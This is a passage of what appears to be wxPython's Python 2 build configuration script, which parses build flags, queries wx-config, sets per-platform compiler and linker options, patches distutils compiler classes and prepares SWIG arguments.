library. When any of these is\n # triggered it is turned into a Python exception so\n # this is a very useful feature to have turned on.\n \n # Version part of wxWidgets LIB/DLL names\nWXDLLVER = '%d%d' % (VER_MAJOR, VER_MINOR)\n\n\nCOMPILER = 'msvc' # Used to select which compiler will be used on\n # Windows. This not only affects distutils, but\n # also some of the default flags and other\n # assumptions in this script. Current supported\n # values are 'msvc' and 'mingw32'\n\nWXPY_SRC = '.' # Assume we're in the source tree already, but allow the\n # user to change it, particularly for extension building.\n\nARCH = '' # If this is set, add an -arch XXX flag to cflags\n # Only tested (and presumably, needed) for OS X universal\n # binary builds created using lipo.\n\n\n#----------------------------------------------------------------------\n\ndef msg(text):\n if hasattr(sys, 'setup_is_main') and sys.setup_is_main:\n print text\n\n\ndef opj(*args):\n path = os.path.join(*args)\n return os.path.normpath(path)\n\n\ndef libFlag():\n if FINAL:\n rv = ''\n elif HYBRID:\n rv = 'h'\n else:\n rv = 'd'\n if UNICODE:\n rv = 'u' + rv\n return rv\n\n\n#----------------------------------------------------------------------\n# Some other globals\n#----------------------------------------------------------------------\n\nPKGDIR = 'wx'\nwxpExtensions = []\nDATA_FILES = []\nCLEANUP = []\n\nforce = '--force' in sys.argv or '-f' in sys.argv\ndebug = '--debug' in sys.argv or '-g' in sys.argv\ncleaning = 'clean' in sys.argv\n\n\n# change the PORT default for wxMac\nif sys.platform[:6] == \"darwin\":\n WXPORT = 'mac'\n\n# and do the same for wxMSW, just for consistency\nif os.name == 'nt':\n WXPORT = 'msw'\n\nWXPYTHON_TYPE_TABLE = '_wxPython_table'\n\n#----------------------------------------------------------------------\n# Check for build flags on the command line\n#----------------------------------------------------------------------\n\n# Boolean (int) flags\nfor flag in [ 'BUILD_ACTIVEX', 'BUILD_DLLWIDGET',\n 'BUILD_GIZMOS', 'BUILD_GLCANVAS', \n 'BUILD_OGL', 'BUILD_STC', \n 'CORE_ONLY', 'PREP_ONLY', 'USE_SWIG', 'UNICODE',\n 'UNDEF_NDEBUG', 'NO_SCRIPTS', 'NO_HEADERS', 'BUILD_RENAMERS',\n 'FULL_DOCS', 'INSTALL_MULTIVERSION', 'EP_ADD_OPTS', 'EP_FULL_VER',\n 'MONOLITHIC', 'FINAL', 'HYBRID', ]:\n for x in range(len(sys.argv)):\n if sys.argv[x].find(flag) == 0:\n pos = sys.argv[x].find('=') + 1\n if pos > 0:\n vars()[flag] = eval(sys.argv[x][pos:])\n sys.argv[x] = ''\n\n# String options\nfor option in ['WX_CONFIG', 'SYS_WX_CONFIG', 'WXDLLVER', 'BUILD_BASE',\n 'WXPORT', 'SWIG', 'CONTRIBS_INC', 'WXPY_SRC', 'FLAVOUR',\n 'VER_FLAGS', 'ARCH', 'COMPILER',\n ]:\n for x in range(len(sys.argv)):\n if sys.argv[x].find(option) == 0:\n pos = sys.argv[x].find('=') + 1\n if pos > 0:\n vars()[option] = sys.argv[x][pos:]\n sys.argv[x] = ''\n\nsys.argv = filter(None, sys.argv)\n\n\n#----------------------------------------------------------------------\n# some helper functions\n#----------------------------------------------------------------------\n\ndef Verify_WX_CONFIG():\n \"\"\" Called below for the builds that need wx-config, if WX_CONFIG\n is not set then determines the flags needed based on build\n options and searches for wx-config on the PATH. \n \"\"\"\n # if WX_CONFIG hasn't been set to an explicit value then construct one.\n global WX_CONFIG\n if WX_CONFIG is None:\n WX_CONFIG='wx-config'\n port = WXPORT\n if port == \"x11\":\n port = \"x11univ\"\n flags = ' --toolkit=%s' % port\n flags += ' --unicode=%s' % (UNICODE and 'yes' or 'no')\n flags += ' --version=%s.%s' % (VER_MAJOR, VER_MINOR)\n\n searchpath = os.environ[\"PATH\"]\n for p in searchpath.split(':'):\n fp = os.path.join(p, 'wx-config')\n if os.path.exists(fp) and os.access(fp, os.X_OK):\n # success\n msg(\"Found wx-config: \" + fp)\n msg(\" Using flags: \" + flags)\n WX_CONFIG = fp + flags\n if hasattr(sys, 'setup_is_main') and not sys.setup_is_main:\n WX_CONFIG += \" 2>/dev/null \"\n break\n else:\n msg(\"ERROR: WX_CONFIG not specified and wx-config not found on the $PATH\")\n # should we exit?\n\n # TODO: execute WX_CONFIG --list and verify a matching config is found\n \n\ndef run_swig(files, dir, gendir, package, USE_SWIG, force, swig_args,\n swig_deps=[], add_under=False):\n \"\"\"Run SWIG the way I want it done\"\"\"\n\n if USE_SWIG and not os.path.exists(os.path.join(dir, gendir)):\n os.mkdir(os.path.join(dir, gendir))\n\n sources = []\n\n if add_under: pre = '_'\n else: pre = ''\n \n for file in files:\n basefile = os.path.splitext(file)[0]\n i_file = os.path.join(dir, file)\n py_file = os.path.join(dir, gendir, pre+basefile+'.py')\n cpp_file = os.path.join(dir, gendir, pre+basefile+'_wrap.cpp')\n\n if add_under:\n interface = ['-interface', '_'+basefile+'_']\n else:\n interface = []\n \n sources.append(cpp_file)\n\n if not cleaning and USE_SWIG:\n for dep in swig_deps:\n # this may fail for external builds, but it's not \n # a fatal error, so keep going.\n try:\n if newer(dep, py_file) or newer(dep, cpp_file):\n force = 1\n break\n except:\n pass\n\n if force or newer(i_file, py_file) or newer(i_file, cpp_file):\n ## we need forward slashes here, even on win32\n #cpp_file = opj(cpp_file) #'/'.join(cpp_file.split('\\\\'))\n #i_file = opj(i_file) #'/'.join(i_file.split('\\\\'))\n\n if BUILD_RENAMERS:\n xmltemp = tempfile.mktemp('.xml')\n\n # First run swig to produce the XML file, adding\n # an extra -D that prevents the old rename\n # directives from being used\n cmd = [ swig_cmd ] + swig_args + \\\n [ '-DBUILDING_RENAMERS', '-xmlout', xmltemp ] + \\\n ['-I'+dir, '-o', cpp_file, i_file]\n msg(' '.join(cmd))\n spawn(cmd)\n\n # Next run build_renamers to process the XML\n myRenamer = BuildRenamers()\n myRenamer.run(dir, pre+basefile, xmltemp)\n os.remove(xmltemp)\n\n # Then run swig for real\n cmd = [ swig_cmd ] + swig_args + interface + \\\n ['-I'+dir, '-o', cpp_file, i_file]\n msg(' '.join(cmd))\n spawn(cmd)\n\n\n # copy the generated python file to the package directory\n copy_file(py_file, package, update=not force, verbose=0)\n CLEANUP.append(opj(package, os.path.basename(py_file)))\n\n return sources\n\nimport subprocess as sp\n\ndef swig_version():\n # It may come on either stdout or stderr, depending on the\n # version, so read both.\n p = sp.Popen(SWIG + ' -version', shell=True, universal_newlines=True,\n stdin=sp.PIPE, stdout=sp.PIPE, stderr=sp.PIPE)\n stext = p.stdout.read() + p.stderr.read()\n import re\n match = re.search(r'[0-9]+\\.[0-9]+\\.[0-9]+$', stext, re.MULTILINE)\n if not match:\n raise RuntimeError('SWIG version not found')\n SVER = match.group(0)\n return SVER\n\n\n# Specializations of some distutils command classes\nclass wx_smart_install_data(distutils.command.install_data.install_data):\n \"\"\"need to change self.install_dir to the actual library dir\"\"\"\n def run(self):\n install_cmd = self.get_finalized_command('install')\n self.install_dir = getattr(install_cmd, 'install_lib')\n return distutils.command.install_data.install_data.run(self)\n\n\nclass wx_extra_clean(distutils.command.clean.clean):\n \"\"\"\n Also cleans stuff that this setup.py copies itself. If the\n --all flag was used also searches for .pyc, .pyd, .so files\n \"\"\"\n def run(self):\n from distutils import log\n from distutils.filelist import FileList\n global CLEANUP\n\n distutils.command.clean.clean.run(self)\n\n if self.all:\n fl = FileList()\n fl.include_pattern(\"*.pyc\", 0)\n fl.include_pattern(\"*.pyd\", 0)\n fl.include_pattern(\"*.so\", 0)\n CLEANUP += fl.files\n\n for f in CLEANUP:\n if os.path.isdir(f):\n try:\n if not self.dry_run and os.path.exists(f):\n os.rmdir(f)\n log.info(\"removing '%s'\", f)\n except IOError:\n log.warning(\"unable to remove '%s'\", f)\n\n else:\n try:\n if not self.dry_run and os.path.exists(f):\n os.remove(f)\n log.info(\"removing '%s'\", f)\n except IOError:\n log.warning(\"unable to remove '%s'\", f)\n\n\n\n# The Ubuntu Python adds a --install-layout option to distutils that\n# is used in our package build. If we detect that the current\n# distutils does not have it then make sure that it is removed from\n# the command-line options, otherwise the build will fail.\nfor item in distutils.command.install.install.user_options:\n if item[0] == 'install-layout=':\n break\nelse:\n for arg in sys.argv:\n if arg.startswith('--install-layout'):\n sys.argv.remove(arg)\n break\n\n\n\nclass wx_install(distutils.command.install.install):\n \"\"\"\n Turns off install_path_file\n \"\"\"\n def initialize_options(self):\n distutils.command.install.install.initialize_options(self)\n self.install_path_file = 0\n\n\nclass wx_install_headers(distutils.command.install_headers.install_headers):\n \"\"\"\n Install the header files to the WXPREFIX, with an extra dir per\n filename too\n \"\"\"\n def initialize_options(self):\n self.root = None\n distutils.command.install_headers.install_headers.initialize_options(self)\n\n def finalize_options(self):\n self.set_undefined_options('install', ('root', 'root'))\n distutils.command.install_headers.install_headers.finalize_options(self)\n\n def run(self):\n if os.name == 'nt':\n return\n headers = self.distribution.headers\n if not headers:\n return\n\n root = self.root\n #print \"WXPREFIX is %s, root is %s\" % (WXPREFIX, root)\n # hack for universal builds, which append i386/ppc\n # to the root\n if root is None or WXPREFIX.startswith(os.path.dirname(root)):\n root = ''\n for header, location in headers:\n install_dir = os.path.normpath(root +\n WXPREFIX +\n '/include/wx-%d.%d/wx' % (VER_MAJOR, VER_MINOR) +\n location)\n self.mkpath(install_dir)\n (out, _) = self.copy_file(header, install_dir)\n self.outfiles.append(out)\n\n\n\ndef build_locale_dir(destdir, verbose=1):\n \"\"\"Build a locale dir under the wxPython package for MSW\"\"\"\n moFiles = glob.glob(opj(WXDIR, 'locale', '*.mo'))\n for src in moFiles:\n lang = os.path.splitext(os.path.basename(src))[0]\n #dest = opj(destdir, lang)\n dest = opj(destdir, lang, 'LC_MESSAGES')\n mkpath(dest, verbose=verbose)\n copy_file(src, opj(dest, 'wxstd.mo'), update=1, verbose=verbose)\n CLEANUP.append(opj(dest, 'wxstd.mo'))\n CLEANUP.append(dest)\n\n\ndef build_locale_list(srcdir):\n # get a list of all files under the srcdir, to be used for install_data\n def walk_helper(lst, dirname, files):\n for f in files:\n filename = opj(dirname, f)\n if not os.path.isdir(filename):\n lst.append( (dirname, [filename]) )\n file_list = []\n os.path.walk(srcdir, walk_helper, file_list)\n return file_list\n\n\ndef find_data_files(srcdir, *wildcards, **kw):\n # get a list of all files under the srcdir matching wildcards,\n # returned in a format to be used for install_data\n \n def walk_helper(arg, dirname, files):\n if '.svn' in dirname:\n return\n names = []\n lst, wildcards = arg\n for wc in wildcards:\n wc_name = opj(dirname, wc)\n for f in files:\n filename = opj(dirname, f)\n \n if fnmatch.fnmatch(filename, wc_name) and not os.path.isdir(filename):\n names.append(filename)\n if names:\n lst.append( (dirname, names ) )\n\n file_list = []\n recursive = kw.get('recursive', True)\n if recursive:\n os.path.walk(srcdir, walk_helper, (file_list, wildcards))\n else:\n walk_helper((file_list, wildcards),\n srcdir,\n [os.path.basename(f) for f in glob.glob(opj(srcdir, '*'))])\n return file_list\n\n\ndef makeLibName(name):\n if os.name == 'posix' or COMPILER == 'mingw32':\n libname = '%s_%s-%s' % (WXBASENAME, name, WXRELEASE)\n elif name:\n libname = 'wxmsw%s%s_%s' % (WXDLLVER, libFlag(), name)\n else:\n libname = 'wxmsw%s%s' % (WXDLLVER, libFlag())\n return [libname]\n\n\ndef findLib(name, libdirs):\n name = makeLibName(name)[0]\n if os.name == 'posix' or COMPILER == 'mingw32':\n lflags = os.popen(WX_CONFIG + ' --libs', 'r').read()[:-1]\n lflags = lflags.split()\n \n # if wx-config --libs output does not start with -L, wx is\n # installed with a standard prefix and wx-config does not\n # output these libdirs because they are already searched by\n # default by the compiler and linker.\n if lflags[0][:2] != '-L': \n dirs = libdirs + ['/usr/lib', '/usr/local/lib']\n else:\n dirs = libdirs\n name = 'lib'+name\n else:\n dirs = libdirs[:]\n for d in dirs:\n p = os.path.join(d, name)\n if glob.glob(p+'*') != []:\n return True\n return False\n\n\ndef removeDuplicates(seq):\n # This code causes problems on OS X as we do need some duplicates\n # there... TODO: are there actually times when having duplicates hurts us?\n## seen = {}\n## result = []\n## for item in seq:\n## if item in seen:\n## continue\n## seen[item] = 1\n## result.append(item)\n## return result\n return seq\n\n\ndef adjustCFLAGS(cflags, defines, includes):\n '''Extract the raw -I, -D, and -U flags and put them into\n defines and includes as needed.'''\n newCFLAGS = []\n for flag in cflags:\n if flag[:2] == '-I':\n includes.append(flag[2:])\n elif flag[:2] == '-D':\n flag = flag[2:]\n if flag.find('=') == -1:\n defines.append( (flag, None) )\n else:\n defines.append( tuple(flag.split('=')) )\n elif flag[:2] == '-U':\n defines.append( (flag[2:], ) )\n else:\n newCFLAGS.append(flag)\n return removeDuplicates(newCFLAGS)\n\n\n\ndef adjustLFLAGS(lflags, libdirs, libs):\n '''Extract the -L and -l flags and put them in libdirs and libs as needed'''\n newLFLAGS = []\n for flag in lflags:\n if flag[:2] == '-L':\n libdirs.append(flag[2:])\n elif flag[:2] == '-l':\n libs.append(flag[2:])\n else:\n newLFLAGS.append(flag)\n return removeDuplicates(newLFLAGS) \n\n\n\ndef getExtraPath(shortVer=True, addOpts=False):\n \"\"\"Get the dirname that wxPython will be installed under.\"\"\"\n\n if shortVer:\n # short version, just Major.Minor\n ep = \"wx-%d.%d\" % (VER_MAJOR, VER_MINOR)\n \n # plus release if minor is odd\n if VER_MINOR % 2 == 1:\n ep += \".%d\" % VER_RELEASE\n \n ##ep = \"wx-%d.%d.%d\" % (VER_MAJOR, VER_MINOR, VER_RELEASE)\n \n else:\n # long version, full version \n ep = \"wx-%d.%d.%d.%d\" % (VER_MAJOR, VER_MINOR, VER_RELEASE, VER_SUBREL)\n\n if addOpts:\n port = WXPORT\n if port == \"msw\": port = \"win32\"\n ep += \"-%s-%s\" % (WXPORT, (UNICODE and 'unicode' or 'ansi'))\n \n if FLAVOUR:\n ep += \"-\" + FLAVOUR\n\n return ep\n\n#----------------------------------------------------------------------\n# These functions and class are copied from distutils in Python 2.5\n# and then grafted back into the distutils modules so we can change\n# how the -arch and -isysroot compiler args are handled. Basically if\n# -arch is specified in our compiler args then we need to strip all of\n# the -arch and -isysroot args provided by Python.\n\nimport distutils.unixccompiler\nimport distutils.sysconfig\nfrom distutils.errors import DistutilsExecError, CompileError\n\ndef _darwin_compiler_fixup(compiler_so, cc_args):\n \"\"\"\n This function will strip '-isysroot PATH' and '-arch ARCH' from the\n compile flags if the user has specified one them in extra_compile_flags.\n\n This is needed because '-arch ARCH' adds another architecture to the\n build, without a way to remove an architecture. Furthermore GCC will\n barf if multiple '-isysroot' arguments are present.\n \"\"\"\n stripArch = stripSysroot = 0\n\n compiler_so = list(compiler_so)\n kernel_version = os.uname()[2] # 8.4.3\n major_version = int(kernel_version.split('.')[0])\n\n if major_version < 8:\n # OSX before 10.4.0, these don't support -arch and -isysroot at\n # all.\n stripArch = stripSysroot = True\n else:\n stripArch = '-arch' in cc_args\n stripSysroot = '-isysroot' in cc_args or stripArch # <== This line changed\n\n if stripArch:\n while 1:\n try:\n index = compiler_so.index('-arch')\n # Strip this argument and the next one:\n del compiler_so[index:index+2]\n except ValueError:\n break\n\n if stripSysroot:\n try:\n index = compiler_so.index('-isysroot')\n # Strip this argument and the next one:\n del compiler_so[index:index+2]\n except ValueError:\n pass\n\n # Check if the SDK that is used during compilation actually exists, \n # the universal build requires the usage of a universal SDK and not all\n # users have that installed by default.\n sysroot = None\n if '-isysroot' in cc_args:\n idx = cc_args.index('-isysroot')\n sysroot = cc_args[idx+1]\n elif '-isysroot' in compiler_so:\n idx = compiler_so.index('-isysroot')\n sysroot = compiler_so[idx+1]\n\n if sysroot and not os.path.isdir(sysroot):\n log.warn(\"Compiling with an SDK that doesn't seem to exist: %s\",\n sysroot)\n log.warn(\"Please check your Xcode installation\")\n\n return compiler_so\n\n\ndef _darwin_compiler_fixup_24(compiler_so, cc_args):\n compiler_so = _darwin_compiler_fixup(compiler_so, cc_args)\n return compiler_so, cc_args\n\n\nclass MyUnixCCompiler(distutils.unixccompiler.UnixCCompiler):\n def _compile(self, obj, src, ext, cc_args, extra_postargs, pp_opts):\n compiler_so = self.compiler_so\n if sys.platform == 'darwin':\n compiler_so = _darwin_compiler_fixup(compiler_so, cc_args + extra_postargs)\n try:\n self.spawn(compiler_so + cc_args + [src, '-o', obj] +\n extra_postargs)\n except DistutilsExecError, msg:\n raise CompileError, msg\n\n\n_orig_parse_makefile = distutils.sysconfig.parse_makefile\ndef _parse_makefile(filename, g=None):\n rv = _orig_parse_makefile(filename, g)\n\n # If a different deployment target is specified in the\n # environment then make sure it is put in the global\n # config dict.\n if os.getenv('MACOSX_DEPLOYMENT_TARGET'):\n val = os.getenv('MACOSX_DEPLOYMENT_TARGET')\n rv['MACOSX_DEPLOYMENT_TARGET'] = val\n rv['CONFIGURE_MACOSX_DEPLOYMENT_TARGET'] = val\n\n return rv\n\n\ndistutils.unixccompiler.UnixCCompiler = MyUnixCCompiler\ndistutils.unixccompiler._darwin_compiler_fixup = _darwin_compiler_fixup\ndistutils.unixccompiler._darwin_compiler = _darwin_compiler_fixup_24\ndistutils.sysconfig.parse_makefile = _parse_makefile\n\n\n#----------------------------------------------------------------------\n# Another hack-job for the CygwinCCompiler class, this time replacing\n# the _compile function with one that will pass the -I flags to windres.\n\nimport distutils.cygwinccompiler\nfrom distutils.errors import DistutilsExecError, CompileError\n\ndef _compile(self, obj, src, ext, cc_args, extra_postargs, pp_opts):\n if ext == '.rc' or ext == '.res':\n # gcc needs '.res' and '.rc' compiled to object files !!!\n try:\n #self.spawn([\"windres\", \"-i\", src, \"-o\", obj])\n self.spawn([\"windres\", \"-i\", src, \"-o\", obj] +\n [arg for arg in cc_args if arg.startswith(\"-I\")] )\n except DistutilsExecError, msg:\n raise CompileError, msg\n else: # for other files use the C-compiler\n try:\n self.spawn(self.compiler_so + cc_args + [src, '-o', obj] +\n extra_postargs)\n except DistutilsExecError, msg:\n raise CompileError, msg\n\ndistutils.cygwinccompiler.CygwinCCompiler._compile = _compile\n\n\n#----------------------------------------------------------------------\n# Yet another distutils hack, this time for the msvc9compiler. There\n# is a bug in at least version distributed with Python 2.6 where it\n# adds '/pdb:None' to the linker command-line, but that just results\n# in a 'None' file being created instead of putting the debug info\n# into the .pyd files as expected. So we'll strip out that option via\n# a monkey-patch of the msvc9compiler.MSVCCompiler.initialize method.\n\nif os.name == 'nt' and COMPILER == 'msvc' and sys.version_info >= (2,6):\n import distutils.msvc9compiler\n _orig_initialize = distutils.msvc9compiler.MSVCCompiler.initialize\n\n def _initialize(self, *args, **kw):\n rv = _orig_initialize(self, *args, **kw)\n try:\n self.ldflags_shared_debug.remove('/pdb:None')\n except ValueError:\n pass\n return rv\n\n distutils.msvc9compiler.MSVCCompiler.initialize = _initialize\n\n\n#----------------------------------------------------------------------\n# sanity checks\n\nif CORE_ONLY:\n BUILD_GLCANVAS = 0\n BUILD_OGL = 0\n BUILD_STC = 0\n BUILD_GIZMOS = 0\n BUILD_DLLWIDGET = 0\n BUILD_ACTIVEX = 0\n\nif debug:\n FINAL = 0\n HYBRID = 0\n\nif FINAL:\n HYBRID = 0\n\nif UNICODE and WXPORT not in ['msw', 'gtk2', 'mac']:\n raise SystemExit, \"UNICODE mode not currently supported on this WXPORT: \"+WXPORT\n\n\nif CONTRIBS_INC:\n CONTRIBS_INC = [ CONTRIBS_INC ]\nelse:\n CONTRIBS_INC = []\n\nif WXPORT != 'msw':\n # make sure we only use the compiler value on MSW builds\n COMPILER=None\n\n\n#----------------------------------------------------------------------\n# Setup some platform specific stuff\n#----------------------------------------------------------------------\n\nif os.name == 'nt' and COMPILER == 'msvc':\n # Set compile flags and such for MSVC. These values are derived\n # from the wxWidgets makefiles for MSVC, other compilers settings\n # will probably vary...\n if os.environ.has_key('WXWIN'):\n WXDIR = os.environ['WXWIN']\n else:\n if os.path.exists('..\\\\wxWidgets'):\n WXDIR = '..\\\\wxWidgets' # assumes in parallel SVN tree\n else:\n WXDIR = '..' # assumes wxPython is subdir\n msg(\"WARNING: WXWIN not set in environment. Assuming '%s'\" % WXDIR)\n WXPLAT = '__WXMSW__'\n GENDIR = 'msw'\n\n if os.environ.get('CPU', None) == 'AMD64':\n VCDLL = 'vc_amd64_dll'\n else:\n VCDLL = 'vc_dll'\n \n includes = ['include', 'src',\n opj(WXDIR, 'lib', VCDLL, 'msw' + libFlag()),\n opj(WXDIR, 'include'),\n opj(WXDIR, 'contrib', 'include'),\n ]\n\n defines = [ ('WIN32', None),\n ('_WINDOWS', None),\n\n (WXPLAT, None),\n ('WXUSINGDLL', '1'),\n\n ('SWIG_TYPE_TABLE', WXPYTHON_TYPE_TABLE),\n ('SWIG_PYTHON_OUTPUT_TUPLE', None),\n ('WXP_USE_THREAD', '1'),\n ('ISOLATION_AWARE_ENABLED', None),\n ]\n\n if UNDEF_NDEBUG:\n defines.append( ('NDEBUG',) ) # using a 1-tuple makes it do an undef\n\n if HYBRID:\n defines.append( ('__NO_VC_CRTDBG__', None) )\n\n if not FINAL or HYBRID:\n defines.append( ('__WXDEBUG__', None) )\n\n if UNICODE:\n defines.append( ('wxUSE_UNICODE', 1) )\n\n\n libs = []\n libdirs = [ opj(WXDIR, 'lib', VCDLL) ]\n if MONOLITHIC:\n libs += makeLibName('')\n else:\n libs += [ 'wxbase' + WXDLLVER + libFlag(), \n 'wxbase' + WXDLLVER + libFlag() + '_net',\n 'wxbase' + WXDLLVER + libFlag() + '_xml',\n makeLibName('core')[0],\n makeLibName('adv')[0],\n makeLibName('html')[0],\n ]\n\n libs += ['kernel32', 'user32', 'gdi32', 'comdlg32',\n 'winspool', 'winmm', 'shell32', 'oldnames', 'comctl32',\n 'odbc32', 'ole32', 'oleaut32', 'uuid', 'rpcrt4',\n 'advapi32', 'wsock32']\n\n cflags = [ '/Gy',\n '/EHsc',\n # '/GX-' # workaround for internal compiler error in MSVC on some machines\n ]\n lflags = None\n\n # Other MSVC flags...\n # Uncomment these to have debug info for all kinds of builds\n #cflags += ['/Od', '/Z7']\n #lflags = ['/DEBUG', ]\n\n\n#----------------------------------------------------------------------\n\nelif os.name == 'posix' or COMPILER == 'mingw32':\n if os.environ.has_key('WXWIN'):\n WXDIR = os.environ['WXWIN']\n else:\n if os.path.exists('../wxWidgets'):\n WXDIR = '../wxWidgets' # assumes in parallel SVN tree\n else:\n WXDIR = '..' # assumes wxPython is subdir\n msg(\"WARNING: WXWIN not set in environment. Assuming '%s'\" % WXDIR)\n includes = ['include', 'src']\n defines = [('SWIG_TYPE_TABLE', WXPYTHON_TYPE_TABLE),\n ('SWIG_PYTHON_OUTPUT_TUPLE', None),\n ('WXP_USE_THREAD', '1'),\n ]\n if UNDEF_NDEBUG:\n defines.append( ('NDEBUG',) ) # using a 1-tuple makes it do an undef\n\n Verify_WX_CONFIG()\n\n libdirs = []\n libs = []\n\n # If you get unresolved symbol errors on Solaris and are using gcc, then\n # uncomment this block to add the right flags to the link step and build\n # again.\n ## if os.uname()[0] == 'SunOS':\n ## import commands\n ## libs.append('gcc')\n ## libdirs.append(commands.getoutput(\"gcc -print-search-dirs | grep '^install' | awk '{print $2}'\")[:-1])\n\n cflags = os.popen(WX_CONFIG + ' --cxxflags', 'r').read()[:-1]\n cflags = cflags.split()\n if debug:\n cflags.append('-g')\n cflags.append('-O0')\n else:\n cflags.append('-O3')\n\n lflags = os.popen(WX_CONFIG + ' --libs', 'r').read()[:-1]\n MONOLITHIC = (lflags.find(\"_xrc\") == -1)\n lflags = lflags.split()\n\n WXBASENAME = os.popen(WX_CONFIG + ' --basename').read()[:-1]\n WXRELEASE = os.popen(WX_CONFIG + ' --release').read()[:-1]\n WXPREFIX = os.popen(WX_CONFIG + ' --prefix').read()[:-1]\n\n\n if sys.platform[:6] == \"darwin\" and WXPORT == 'mac':\n # Flags and such for a Darwin (Max OS X) build of Python\n WXPLAT = '__WXMAC__'\n GENDIR = 'mac'\n libs = ['stdc++']\n NO_SCRIPTS = 1\n if not ARCH == \"\":\n cflags.append(\"-arch\")\n cflags.append(ARCH)\n lflags.append(\"-arch\")\n lflags.append(ARCH)\n #if ARCH == \"ppc\":\n # cflags.append(\"-isysroot\")\n # cflags.append(\"/Developer/SDKs/MacOSX10.3.9.sdk\")\n\n if not os.environ.get('CC') or not os.environ.get('CXX'):\n os.environ[\"CXX\"] = \"g++-4.0\"\n os.environ[\"CC\"] = \"gcc-4.0\"\n os.environ[\"CPP\"] = \"cpp-4.0\"\n\n else:\n # Set flags for other Unix type platforms\n GENDIR = WXPORT\n\n if WXPORT == 'gtk':\n WXPLAT = '__WXGTK__'\n portcfg = os.popen('gtk-config --cflags', 'r').read()[:-1]\n elif WXPORT == 'gtk2':\n WXPLAT = '__WXGTK__'\n GENDIR = 'gtk' # no code differences so use the same generated sources\n portcfg = os.popen('pkg-config gtk+-2.0 --cflags', 'r').read()[:-1]\n BUILD_BASE = BUILD_BASE + '-' + WXPORT\n elif WXPORT == 'x11':\n WXPLAT = '__WXX11__'\n portcfg = ''\n BUILD_BASE = BUILD_BASE + '-' + WXPORT\n elif WXPORT == 'msw':\n WXPLAT = '__WXMSW__'\n GENDIR = 'msw'\n portcfg = ''\n else:\n raise SystemExit, \"Unknown WXPORT value: \" + WXPORT\n\n cflags += portcfg.split()\n\n # Some distros (e.g. Mandrake) put libGLU in /usr/X11R6/lib, but\n # wx-config doesn't output that for some reason. For now, just\n # add it unconditionally but we should really check if the lib is\n # really found there or wx-config should be fixed.\n if WXPORT != 'msw':\n libdirs.append(\"/usr/X11R6/lib\")\n\n\n # Move the various -I, -D, etc. flags we got from the *config scripts\n # into the distutils lists.\n cflags = adjustCFLAGS(cflags, defines, includes)\n lflags = adjustLFLAGS(lflags, libdirs, libs)\n\n if debug and WXPORT == 'msw' and COMPILER != 'mingw32':\n defines.append( ('_DEBUG', None) )\n \n## from pprint import pprint\n## print 'cflags:',; pprint(cflags)\n## print 'defines:',; pprint(defines)\n## print 'includes:',; pprint(includes)\n## print\n## print 'lflags:',; pprint(lflags)\n## print 'libdirs:',; pprint(libdirs)\n## print 'libs:',; pprint(libs)\n## print\n## sys.exit()\n \n#----------------------------------------------------------------------\nelse:\n raise Exception('Sorry, platform not supported...')\n\n\n#----------------------------------------------------------------------\n# build options file\n#----------------------------------------------------------------------\n\nif SYS_WX_CONFIG is None:\n SYS_WX_CONFIG = WX_CONFIG\n\nbuild_options_template = \"\"\"\nUNICODE=%d\nUNDEF_NDEBUG=%d\nINSTALL_MULTIVERSION=%d\nFLAVOUR=\"%s\"\nEP_ADD_OPTS=%d\nEP_FULL_VER=%d\nWX_CONFIG=\"%s\"\nWXPORT=\"%s\"\nMONOLITHIC=%d\nFINAL=%d\nHYBRID=%d\n\"\"\" % (UNICODE, UNDEF_NDEBUG, INSTALL_MULTIVERSION, FLAVOUR, EP_ADD_OPTS,\n EP_FULL_VER, SYS_WX_CONFIG, WXPORT, MONOLITHIC, FINAL, HYBRID)\n\ntry: \n from build_options import *\nexcept:\n build_options_file = os.path.join(os.path.dirname(__file__), \"build_options.py\")\n if not os.path.exists(build_options_file):\n try:\n myfile = open(build_options_file, \"w\")\n myfile.write(build_options_template)\n myfile.close()\n except:\n print \"WARNING: Unable to create build_options.py.\"\n \n\n#----------------------------------------------------------------------\n# post platform setup checks and tweaks, create the full version string\n#----------------------------------------------------------------------\n\nif UNICODE:\n BUILD_BASE = BUILD_BASE + '.unicode'\n\nif os.path.exists('DAILY_BUILD'):\n VER_FLAGS += '.pre' + open('DAILY_BUILD').read().strip()\n\nVERSION = \"%s.%s.%s.%s%s\" % (VER_MAJOR, VER_MINOR, VER_RELEASE,\n VER_SUBREL, VER_FLAGS)\n\n\n#----------------------------------------------------------------------\n# SWIG defaults\n#----------------------------------------------------------------------\n\n# *.i files could live in the wxWidgets/wxPython/src dir, or in \n# a subdirectory of the devel package. Let's specify both \n# dirs as includes so we don't have to guess which is correct.\n \nwxfilesdir = \"\"\ni_subdir = opj(\"include\", getExtraPath(), \"wx\", \"wxPython\", \"i_files\")\nif os.name != \"nt\":\n wxfilesdir = opj(WXPREFIX, i_subdir)\nelse:\n wxfilesdir = opj(WXPY_SRC, i_subdir)\n\ni_files_includes = [ '-I' + opj(WXPY_SRC, 'src'),\n '-I' + wxfilesdir ]\n\nswig_cmd = SWIG\nswig_force = force\nswig_args = ['-c++',\n #'-Wall',\n '-python',\n '-new_repr',\n '-modern',\n '-D'+WXPLAT,\n ] + i_files_includes\n\nif USE_SWIG:\n SVER = swig_version()\n if int(SVER[-2:]) >= 29:\n swig_args += [ '-fastdispatch',\n '-fvirtual',\n '-fastinit',\n '-fastunpack',\n #'-outputtuple', Currently setting this with a -D define above\n ]\n \nif UNICODE:\n swig_args.append('-DwxUSE_UNICODE')\n\nif FULL_DOCS:\n swig_args.append('-D_DO_FULL_DOCS')\n \n\nswig_deps = [ opj(WXPY_SRC, 'src/my_typemaps.i'),\n opj(WXPY_SRC, 'src/pyfragments.swg'),\n ]\n\ndepends = [ #'include/wx/wxPython/wxPython.h',\n #'include/wx/wxPython/wxPython_int.h',\n #'src/pyclasses.h',\n ]\n\n#----------------------------------------------------------------------\n\n####################################\n# BuildRenamers\n####################################\n\nimport pprint, shutil\ntry:\n import libxml2\n FOUND_LIBXML2 = True\nexcept ImportError:\n FOUND_LIBXML2 = False\n\n#---------------------------------------------------------------------------\n\nrenamerTemplateStart = \"\"\"\\\n// A bunch of %rename directives generated by BuildRenamers in config.py\n// in order to remove the wx prefix from all global scope names.\n\n#ifndef BUILDING_RENAMERS\n\n\"\"\"\n\nrenamerTemplateEnd = \"\"\"\n#endif\n\"\"\"\n\nwxPythonTemplateStart = \"\"\"\\\n## This file reverse renames symbols in the wx package to give\n## them their wx prefix again, for backwards compatibility.\n##\n## Generated by BuildRenamers in config.py\n\n# This silly stuff here is so the wxPython.wx module doesn't conflict\n# with the wx package. We need to import 